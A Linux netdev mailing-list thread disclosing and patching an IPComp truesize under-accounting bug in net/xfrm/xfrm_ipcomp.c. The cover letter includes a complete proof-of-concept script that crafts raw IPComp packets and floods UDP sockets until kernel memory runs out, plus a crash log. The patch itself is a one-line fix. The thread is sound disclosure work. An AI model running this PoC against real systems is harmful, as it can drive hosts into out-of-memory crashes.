Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize
@ 2026-10-22 18:32 Zhiling Zou
  2026-10-22 18:32 ` [PATCH net 1/1] " Zhiling Zou
  0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:32 UTC (permalink / raw)
  To: netdev
  Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, vega,
	zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/xfrm/xfrm_ipcomp.c. The bug is
reachable by a non-root user via user and network namespaces.

This bug is tracked at: https://bugtracker.nebusec.ai/f/13830

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipcomp_post_acomp() attaches freshly allocated order-0 pages to the
reassembled skb but, on input, increases skb->truesize only by the
decompressed byte count. When the output ends partway through the final
page, the unused tail of that page remains allocated but is absent from
the socket receive-memory charge. Repeated IPComp packets queued to
sockets can therefore retain more kernel memory than the configured
receive-memory limits account for.

Round the input truesize charge up to the page size, matching the pages
attached to the skb. Output-side accounting remains unchanged.

Reproducer:

    unshare -Urn ./poc.sh observe
    NSOCK=100 NPKT=6 ./poc.sh crash

The observe mode sends a raw IPComp packet through an inbound XFRM state.
The crash mode sets vm.panic_on_oom=2 and sends compressed payloads to UDP
sockets to exercise the memory-accounting discrepancy. The script
requires iproute2, Python 3, XFRM/IPComp, and the deflate crypto
implementation. We run the PoC in a 2 vCPU, 512 MB RAM x86 QEMU
environment.

------BEGIN poc.sh------

    #!/bin/bash
    set -euo pipefail

    MODE="${1:-observe}"
    NSOCK="${NSOCK:-100}"
    NPKT="${NPKT:-6}"
    PAYLOAD_LEN="${PAYLOAD_LEN:-53585}"
    BASE_PORT="${BASE_PORT:-20000}"
    SRC_IP="${SRC_IP:-10.0.1.1}"
    DST_IP="${DST_IP:-10.0.1.2}"
    VETH_A="${VETH_A:-ipcomp0}"
    VETH_B="${VETH_B:-ipcomp1}"
    STATE_SPI="${STATE_SPI:-0x100}"

    cleanup() {
    	ip link del "$VETH_A" 2>/dev/null || true
    	rm -f /tmp/ipcomp_recv.log /tmp/ipcomp_sender.py
    }
    trap cleanup EXIT

    setup_net() {
    	ip link del "$VETH_A" 2>/dev/null || true
    	ip link add "$VETH_A" type veth peer name "$VETH_B"
    	ip addr add "$SRC_IP/24" dev "$VETH_A"
    	ip addr add "$DST_IP/24" dev "$VETH_B"
    	ip link set lo up
    	ip link set "$VETH_A" up
    	ip link set "$VETH_B" up

    	ip xfrm state add src "$SRC_IP" dst "$DST_IP" proto comp spi "$STATE_SPI" mode transport comp deflate
    	ip xfrm policy add dir in src "$SRC_IP/32" dst "$DST_IP/32" \
    		tmpl src "$SRC_IP" dst "$DST_IP" proto comp mode transport
    }

    write_sender() {
    	cat >/tmp/ipcomp_sender.py <<'PY'
    import os
    import socket
    import struct
    import time
    import zlib

    SRC = os.environ["SRC_IP"]
    DST = os.environ["DST_IP"]
    BASE_PORT = int(os.environ["BASE_PORT"])
    NSOCK = int(os.environ["NSOCK"])
    NPKT = int(os.environ["NPKT"])
    PAYLOAD_LEN = int(os.environ["PAYLOAD_LEN"])
    SPI = int(os.environ["STATE_SPI"], 0)
    SPORT = 12345
    PAYLOAD = b"Z" * PAYLOAD_LEN


    def checksum(data):
        if len(data) & 1:
            data += b"\0"
        words = struct.unpack("!%dH" % (len(data) // 2), data)
        total = sum(words)
        while total >> 16:
            total = (total & 0xFFFF) + (total >> 16)
        return (~total) & 0xFFFF


    def build_packet(dport):
        udp_len = 8 + len(PAYLOAD)
        udp = struct.pack("!HHHH", SPORT, dport, udp_len, 0) + PAYLOAD
        comp = zlib.compressobj(level=9, wbits=-zlib.MAX_WBITS)
        compressed = comp.compress(udp) + comp.flush()
        ipcomp = struct.pack("!BBH", socket.IPPROTO_UDP, 0, SPI) + compressed

        total_len = 20 + len(ipcomp)
        iphdr = struct.pack(
            "!BBHHHBBH4s4s",
            0x45,
            0,
            total_len,
            dport & 0xFFFF,
            0,
            64,
            108,
            0,
            socket.inet_aton(SRC),
            socket.inet_aton(DST),
        )
        iphdr = iphdr[:10] + struct.pack("!H", checksum(iphdr)) + iphdr[12:]
        return iphdr + ipcomp


    if os.environ.get("ROLE") == "recv":
        sockets = []
        for i in range(NSOCK):
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
            s.bind((DST, BASE_PORT + i))
            sockets.append(s)
        print(f"ready sockets={len(sockets)}", flush=True)
        if NSOCK == 1 and NPKT == 1:
            data, addr = sockets[0].recvfrom(70000)
            print(f"received len={len(data)} from={addr[0]}:{addr[1]}", flush=True)
        else:
            time.sleep(600)
    else:
        pkts = [build_packet(BASE_PORT + i) for i in range(NSOCK)]
        rs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        rs.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        sent = 0
        for _ in range(NPKT):
            for pkt in pkts:
                rs.sendto(pkt, (DST, 0))
                sent += 1
        print(f"sent packets={sent}", flush=True)
    PY
    }

    observe_once() {
    	python3 - <<'PY'
    import os
    import subprocess
    import tempfile

    trace = r"""
    kprobe:ipcomp_input
    {
      @skb[tid] = arg1;
      @ts[tid] = ((struct sk_buff *)arg1)->truesize;
      @pages[tid] = 0;
    }

    kprobe:__alloc_pages_noprof /@skb[tid]/
    {
      @pages[tid] = @pages[tid] + 1;
    }

    kretprobe:ipcomp_input /@skb[tid]/
    {
      $skb = (struct sk_buff *)@skb[tid];
      $delta = $skb->truesize - @ts[tid];
      printf("pages=%d delta=%d under=%d final_len=%d data_len=%d\n",
             @pages[tid], $delta, (@pages[tid] * 4096) - $delta,
             $skb->len, $skb->data_len);
      delete(@skb[tid]);
      delete(@ts[tid]);
      delete(@pages[tid]);
    }
    """
    with tempfile.NamedTemporaryFile("w", delete=False) as f:
        f.write(trace)
        path = f.name
    proc = subprocess.Popen(["bpftrace", path], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    print(proc.pid)
    PY
    }

    do_observe() {
    	export NSOCK=1 NPKT=1
    	setup_net
    	write_sender

    	if command -v bpftrace >/dev/null 2>&1; then
    		BTPID="$(observe_once | tail -n1)"
    		sleep 2
    	fi

    	env ROLE=recv NSOCK=1 NPKT=1 SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
    	RECV_PID=$!
    	sleep 1
    	env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK=1 NPKT=1 \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
    	wait "$RECV_PID"
    	cat /tmp/ipcomp_recv.log

    	if [ -n "${BTPID:-}" ]; then
    		sleep 2
    		kill "$BTPID" 2>/dev/null || true
    	fi
    }

    do_crash() {
    	if [ "$(id -u)" -ne 0 ]; then
    		echo "crash mode needs real root to set global panic sysctls" >&2
    		exit 1
    	fi

    	echo 0 >/proc/sys/kernel/panic_on_warn
    	echo 2 >/proc/sys/vm/panic_on_oom

    	setup_net
    	write_sender

    	env ROLE=recv NSOCK="$NSOCK" NPKT="$NPKT" SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
    	sleep 2
    	cat /tmp/ipcomp_recv.log
    	env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK="$NSOCK" NPKT="$NPKT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
    }

    case "$MODE" in
    observe)
    	do_observe
    	;;
    crash)
    	do_crash
    	;;
    *)
    	echo "usage: $0 [observe|crash]" >&2
    	exit 1
    	;;
    esac

------END poc.sh--------

----BEGIN crash log----

[  122.352180] python3: page allocation failure: order:0, mode:0x820(GFP_ATOMIC), nodemask=(null),cpuset=/,mems_allowed=0
[  122.353453] CPU: 0 UID: 0 PID: 926 Comm: python3 Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  122.353462] Call Trace:
[  122.353471]  <IRQ>
[  122.353501]  warn_alloc+0x24b/0x390
[  122.353597]  __alloc_pages_slowpath.constprop.0+0x15d8/0x2800
[  122.353711]  __alloc_pages_noprof+0x54b/0x760
[  122.353752]  alloc_pages_mpol_noprof+0x1b1/0x430
[  122.353827]  ipcomp_input+0x4d6/0xc80
[  122.353869]  xfrm_input+0x254f/0x6f50
[  122.353946]  xfrm4_ipcomp_rcv+0x7f/0xe0
[  122.353958]  ip_protocol_deliver_rcu+0x280/0x310
[  122.353975]  ip_local_deliver_finish+0x2c7/0x3d0
[  122.353984]  ip_local_deliver+0x2a7/0x300
[  122.354038]  ip_rcv+0x393/0x440
[  122.354129]  __netif_receive_skb_one_core+0x168/0x1b0
[  122.354171]  process_backlog+0x33c/0xf00
[  122.354199]  net_rx_action+0x4d4/0xc70
[  122.354285]  handle_softirqs+0x282/0x7d0
[  122.354323]  __local_bh_enable_ip+0x79/0x80
[  122.354326]  __dev_queue_xmit+0xc0a/0x31d0
[  122.354497]  ip_finish_output2+0x9b1/0x19f0
[  122.354535]  ip_output+0x1b1/0x430
[  122.354580]  raw_sendmsg+0x258b/0x2c50
[  122.354735]  __sys_sendto+0x361/0x3f0
[  122.354811]  __x64_sys_sendto+0xe0/0x1c0
[  122.354826]  do_syscall_64+0x6f/0x150
[  122.354839]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  122.354895]  </TASK>
[  123.097901] rasdaemon invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=1, oom_score_adj=0
[  123.098667] CPU: 3 UID: 0 PID: 502 Comm: rasdaemon Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  123.098676] Call Trace:
[  123.098680]  <TASK>
[  123.098694]  dump_header+0xf5/0x650
[  123.098720]  out_of_memory+0x737/0x1360
[  123.098779]  __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[  123.098856]  __alloc_pages_noprof+0x54b/0x760
[  123.098921]  alloc_pages_mpol_noprof+0x1b1/0x430
[  123.098952]  allocate_slab+0x3ae/0x550
[  123.098965]  ___slab_alloc+0xdcb/0x1620
[  123.099019]  kmem_cache_alloc_noprof+0x2b9/0x3e0
[  123.099050]  user_path_at+0x21/0x50
[  123.099058]  do_faccessat+0x2c4/0x8c0
[  123.099108]  do_syscall_64+0x6f/0x150
[  123.099123]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

# The serial console returned to a fresh boot (`[    0.000000] Linux version 6.12.95 ...`)
# immediately after the OOM-path output above. The guest had `vm.panic_on_oom=2` set.

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  xfrm: ipcomp: account full fragment pages in truesize

 net/xfrm/xfrm_ipcomp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] xfrm: ipcomp: account full fragment pages in truesize
  2026-10-22 18:32 [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize Zhiling Zou
@ 2026-10-22 18:32 ` Zhiling Zou
  0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:32 UTC (permalink / raw)
  To: netdev
  Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, vega,
	zhilinz

ipcomp_post_acomp() allocates order-0 pages for decompressed skb
fragments, but on input charges truesize by the decompressed byte count.
When the output ends partway through a page, the unused tail of its final
page is not accounted to the receiving socket. Repeated IPComp packets
can therefore retain more memory than the socket receive-memory limits
charge.

Round the decompressed length up to page size when charging input skb
truesize, matching the pages attached to the skb. Leave output accounting
unchanged.

Fixes: 7d7e5a60c62e ("ipsec: ipcomp - Decompress into frags if necessary")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/13830
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/xfrm/xfrm_ipcomp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/xfrm/xfrm_ipcomp.c b/net/xfrm/xfrm_ipcomp.c
index 671d48f8c9374..c2cc88c8c360f 100644
--- a/net/xfrm/xfrm_ipcomp.c
+++ b/net/xfrm/xfrm_ipcomp.c
@@ -67,7 +67,7 @@ static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
 
 	/* Only update truesize on input. */
 	if (!hlen)
-		skb->truesize += dlen;
+		skb->truesize += PAGE_ALIGN(dlen);
 	skb->data_len = dlen;
 	skb->len += dlen;
 

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-22 18:32 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-22 18:32 [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize Zhiling Zou
2026-10-22 18:32 ` [PATCH net 1/1] " Zhiling Zou

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox